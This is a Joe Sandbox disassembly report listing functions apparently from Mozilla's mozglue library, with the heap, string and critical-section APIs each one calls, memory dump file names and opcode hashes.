
Function 6CACBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CACBE49), ref: 6CACBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CACBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CACBE49), ref: 6CACBF38
RtlReAllocateHeap.NTDLL ref: 6CACBF83
RtlFreeHeap.NTDLL(6CACBE49,00000000), ref: 6CACBFA6

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 7d0b2cc750adf1d08aaf4ef5edb0a164fba4520a43ed1d4f1820fbb38782afdb
Instruction ID: 598d14a428e21b5fa2e288d351e2e291aa6e54ae05cc0924b5880c744ea716de
Opcode Fuzzy Hash: 7d0b2cc750adf1d08aaf4ef5edb0a164fba4520a43ed1d4f1820fbb38782afdb
Instruction Fuzzy Hash: 7251A071B002058FE710CF69DD80BAAB3A6FF88314F298639D516A7B54D731F9868F81

Function 6CAB8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CAAB58D,?,?,?,?,?,?,?,6CADD734,?,?,?,6CADD734), ref: 6CAB8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CAAB58D,?,?,?,?,?,?,?,6CADD734,?,?,?,6CADD734), ref: 6CAB8EBF
free.MOZGLUE(?,?,?,?,6CAAB58D,?,?,?,?,?,?,?,6CADD734,?,?,?), ref: 6CAB8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CAAB58D,?,?,?,?,?,?,?,6CADD734,?,?,?,6CADD734), ref: 6CAB8F46
free.MOZGLUE(?,?,?,?,6CAAB58D,?,?,?,?,?,?,?,6CADD734,?,?,?), ref: 6CAB8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CAAB58D,?,?,?,?,?,?,?,6CADD734,?,?,?), ref: 6CAB8F8F

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: f20fa136a3c52ba53863cb2140c67257158e6095704620eaf9b6e754e487df46
Instruction ID: f0a7e32339c8c75b9460cd4f34d19f2e209ef17a6ffb935609a3a233aedd8659
Opcode Fuzzy Hash: f20fa136a3c52ba53863cb2140c67257158e6095704620eaf9b6e754e487df46
Instruction Fuzzy Hash: 375192B1A012178FEB14CF68D8807AE77B6BF48318F19052AD916BB740E731F945CB91

Function 6CA760E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CA75FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA760F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CA75FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA76180
free.MOZGLUE(?,?,?,?,6CA75FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA76211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CA75FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA76229
free.MOZGLUE(?,?,?,?,6CA75FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA7625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA75FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA76271

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 5545dc9c609c30f17bf37636b674c2523f62c996e206c253b3c9504fd50900ad
Instruction ID: fb68990076c6275b5eb9fc906469819d3fd14ce7919843e99f7ba91aae710c87
Opcode Fuzzy Hash: 5545dc9c609c30f17bf37636b674c2523f62c996e206c253b3c9504fd50900ad
Instruction Fuzzy Hash: 7C519FB5B002068FEB64CF68D8847AEB7B5FF45308F244439C516D7B11E731A999CBA1

Function 6CAB27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CAB2620,?,?,?,6CAA60AA,6CAA5FCB,6CAA79A3), ref: 6CAB284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CAB2620,?,?,?,6CAA60AA,6CAA5FCB,6CAA79A3), ref: 6CAB289A
free.MOZGLUE(?,?,?,6CAB2620,?,?,?,6CAA60AA,6CAA5FCB,6CAA79A3), ref: 6CAB28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CAB2620,?,?,?,6CAA60AA,6CAA5FCB,6CAA79A3), ref: 6CAB2910
free.MOZGLUE(00000001,?,?,6CAB2620,?,?,?,6CAA60AA,6CAA5FCB,6CAA79A3), ref: 6CAB293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CAB2620,?,?,?,6CAA60AA,6CAA5FCB,6CAA79A3), ref: 6CAB294E

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 20be5c3b84dba38432c22fd08b95ff8b1c14f6f14fe6c3228fde1d27b858fc82
Instruction ID: 1e740c6fec7c80a3b91e8a158660a3231de3cd8a78e737109a9b89a6d352c45c
Opcode Fuzzy Hash: 20be5c3b84dba38432c22fd08b95ff8b1c14f6f14fe6c3228fde1d27b858fc82
Instruction Fuzzy Hash: B941B6B16003068FEB14CF98D88875A77F9AB45708F14463AD56AFB740E731E545CB91

Function 6CA6CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEE784), ref: 6CA6CFF6
LeaveCriticalSection.KERNEL32(6CAEE784), ref: 6CA6D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CA6D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CA6D139

Strings

MOZ_CRASH(), xrefs: 6CA6D187

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 05dcdccc987b4014eef3e91a5b37a7c7478912fac2c2ac1b8fea937d57815686
Instruction ID: 2e0514fdfc2a5a61330f680cfb505812a5530d4e646274bcb67dcfeace65aa3f
Opcode Fuzzy Hash: 05dcdccc987b4014eef3e91a5b37a7c7478912fac2c2ac1b8fea937d57815686
Instruction Fuzzy Hash: C641E032F013174FCB488E6E8C9436A76B0EB4D354F254239EA59E7B84D7B19C829BC4

Function 6CA64DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA64E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA64E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA64EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA64F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CA64F1E

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 92da667755496c85d734e2894e6850121c699fa6623853f6626b36bee66d2f0b
Instruction ID: 47f2f8934f036e4c457960f6643e002a5d79cd0777520867897ea72e72998eb6
Opcode Fuzzy Hash: 92da667755496c85d734e2894e6850121c699fa6623853f6626b36bee66d2f0b
Instruction Fuzzy Hash: 4F41CE716087019FC705CF2AC89099BB7F4BF89344F148A2DF86687B41DB30E998CB91

Function 6CACA820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEF770), ref: 6CACA858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CACA87B

Part of subcall function 6CACA9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6CACA88F,00000000), ref: 6CACA9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6CACA8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CACA90C
LeaveCriticalSection.KERNEL32(6CAEF770), ref: 6CACA97E

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 1d28f2e97fd06ed47910f875cb868d3dc1cc89890c1ccc8838842eb617f39689
Instruction ID: cfbb9968151ecc6cee98e000ba92345f9be74ffe016700c696797f59fe3fc0d2
Opcode Fuzzy Hash: 1d28f2e97fd06ed47910f875cb868d3dc1cc89890c1ccc8838842eb617f39689
Instruction Fuzzy Hash: B74193B4E002088FDB00DFE8D885BEDBB71FF48324F148619E816AB791D7319985CB92

Function 6CA71530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CA7152B,?,?,?,?,6CA71248,?), ref: 6CA7159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA7152B,?,?,?,?,6CA71248,?), ref: 6CA715BC
moz_xmalloc.MOZGLUE(-00000001,?,6CA7152B,?,?,?,?,6CA71248,?), ref: 6CA715E7
free.MOZGLUE(?,?,?,?,?,?,6CA7152B,?,?,?,?,6CA71248,?), ref: 6CA71606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CA7152B,?,?,?,?,6CA71248,?), ref: 6CA71637

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 4cd1d0e8a51fe36a8eb69482def6e0cf6b3e925b27778ab9a940d4dc1548caba
Instruction ID: f1e2ecdb0913af804d8e201549b3b5b0ceff09d7389a25aa0491ee96b8eba330
Opcode Fuzzy Hash: 4cd1d0e8a51fe36a8eb69482def6e0cf6b3e925b27778ab9a940d4dc1548caba
Instruction Fuzzy Hash: 50310A75A001048BCB288E7CD9604BF77F9BB813647280B2DE527DBBD4EB30D98587A1

Function 6CACAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CADE330,?,6CA8C059), ref: 6CACAD9D

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CADE330,?,6CA8C059), ref: 6CACADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CADE330,?,6CA8C059), ref: 6CACAE01
GetLastError.KERNEL32(?,00000000,?,?,6CADE330,?,6CA8C059), ref: 6CACAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CADE330,?,6CA8C059), ref: 6CACAE3D

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: e016cf99da978d1c8bb468568a44a170e406a3dc5cdd8d9e32b91153c77efa0b
Instruction ID: 8b7113ed96f64eb8c72e6184e05b410d64329d3859a47fffc01018891edcb090
Opcode Fuzzy Hash: e016cf99da978d1c8bb468568a44a170e406a3dc5cdd8d9e32b91153c77efa0b
Instruction Fuzzy Hash: 7C317FB1A003259FDB50DF799D44AABB7F9EF48614F158829E84AD7700E734A884CBE1

Function 6CAC5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CADDCA0,?,?,?,6CA9E8B5,00000000), ref: 6CAC5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CA9E8B5,00000000), ref: 6CAC5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CA9E8B5,00000000), ref: 6CAC5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CA9E8B5,00000000), ref: 6CAC5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CA9E8B5,00000000), ref: 6CAC5FD6

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: b8285dc15c07cd2a70b848b3b6981e3f91e64d8e3c21e8181037bac05552530b
Instruction ID: 32bac82c656932d73e73ba9c4aeccd3dea583ed68a64de21baea65993c503ea5
Opcode Fuzzy Hash: b8285dc15c07cd2a70b848b3b6981e3f91e64d8e3c21e8181037bac05552530b
Instruction Fuzzy Hash: 2E31EB343006018FD718CF29D898A2AB7F5FF89319B688658F5568BB95C731EC82DB91

Function 6CA6B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CA6B532
moz_xmalloc.MOZGLUE(?), ref: 6CA6B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA6B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CA6B57E
free.MOZGLUE(00000000), ref: 6CA6B58F

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ec5f13f378729ab86873b3b6fbe23df4ca4ca2496977db4aed705ce5d0d85c23
Instruction ID: 7efa94b77989c31f38572c555a5d42d693eb230feb896d03a5b3de049e228a56
Opcode Fuzzy Hash: ec5f13f378729ab86873b3b6fbe23df4ca4ca2496977db4aed705ce5d0d85c23
Instruction Fuzzy Hash: F121F671A002069BDB009F69DC40BEABBB9FF85308F284129F819DB781E735D955D7A0

Function 6CA6B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CA6B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CA6B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CA6B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA6B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA6B849

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: ee793d4640c1b10ea6a59f493066cca276ca202f7c2c2d8cbb07fc784fbf37ff
Instruction ID: db45426c31916425cf9dab9e7f73413cd37c7820f3d3985f42576dffdfb62187
Opcode Fuzzy Hash: ee793d4640c1b10ea6a59f493066cca276ca202f7c2c2d8cbb07fc784fbf37ff
Instruction Fuzzy Hash: 25212BB4E003099FDF04DFA9D8855BEBBB4EF49618F148129E815A7741E731A984CBE1

Function 6CAC6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CAC6E78

Part of subcall function 6CAC6A10: InitializeCriticalSection.KERNEL32(6CAEF618), ref: 6CAC6A68
Part of subcall function 6CAC6A10: GetCurrentProcess.KERNEL32 ref: 6CAC6A7D
Part of subcall function 6CAC6A10: GetCurrentProcess.KERNEL32 ref: 6CAC6AA1
Part of subcall function 6CAC6A10: EnterCriticalSection.KERNEL32(6CAEF618), ref: 6CAC6AAE
Part of subcall function 6CAC6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CAC6AE1
Part of subcall function 6CAC6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CAC6B15
Part of subcall function 6CAC6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CAC6B65
Part of subcall function 6CAC6A10: LeaveCriticalSection.KERNEL32(6CAEF618,?,?), ref: 6CAC6B83

MozFormatCodeAddress.MOZGLUE ref: 6CAC6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CAC6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CAC6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CAC6EFF

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 9f13fe88519561103480e37c8c261ef223226b614d79455963949cf03b5099b6
Instruction ID: 6876670ee12b4ce224d01cb95e01a73c26302fdf29044b2f3bfc9f1aecd313e2
Opcode Fuzzy Hash: 9f13fe88519561103480e37c8c261ef223226b614d79455963949cf03b5099b6
Instruction Fuzzy Hash: 5021A471A0431A9FDF14CF69D8856AA77F5EF88308F048539E80997341DB709A998F92

Function 6CAC76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CAC76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CAC7705

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CAC7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CAC778F,00000000,00000000,00000000,00000000), ref: 6CAC7731
free.MOZGLUE(00000000), ref: 6CAC7760

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: ed633f93af572bbcfebb0b823f4a04814d947b4db16bffe965b7d8fe05fe31ca
Instruction ID: f00e139e9e02f36acdc5faacacf77e9947d7b877505b12b7d7229af88f476743
Opcode Fuzzy Hash: ed633f93af572bbcfebb0b823f4a04814d947b4db16bffe965b7d8fe05fe31ca
Instruction Fuzzy Hash: 4C11C8B1A013256BE710AF759D44BAB7FF8EF45354F144529F848D7300E77098948BE2

Function 6CAA0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CA63DEF), ref: 6CAA0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CA63DEF), ref: 6CAA0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CA63DEF), ref: 6CAA0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CAA0D97, 6CAA0DBE
<jemalloc>, xrefs: 6CAA0D92, 6CAA0DB9

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: fed67f7dd8eda97cca9b6e06304a9dd22d5f0360d5d0b0a956ef15df8d4c3c69
Instruction ID: b2dd16a7ea6baa44d7c9001b8bcab662cd9ad2d14b2063364683761b421fa318
Opcode Fuzzy Hash: fed67f7dd8eda97cca9b6e06304a9dd22d5f0360d5d0b0a956ef15df8d4c3c69
Instruction Fuzzy Hash: F1F0E03238035523D51811E91C0DF67365D67C5B54F348135F205DB9C0DA54E8C757E8

Function 6CAB7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

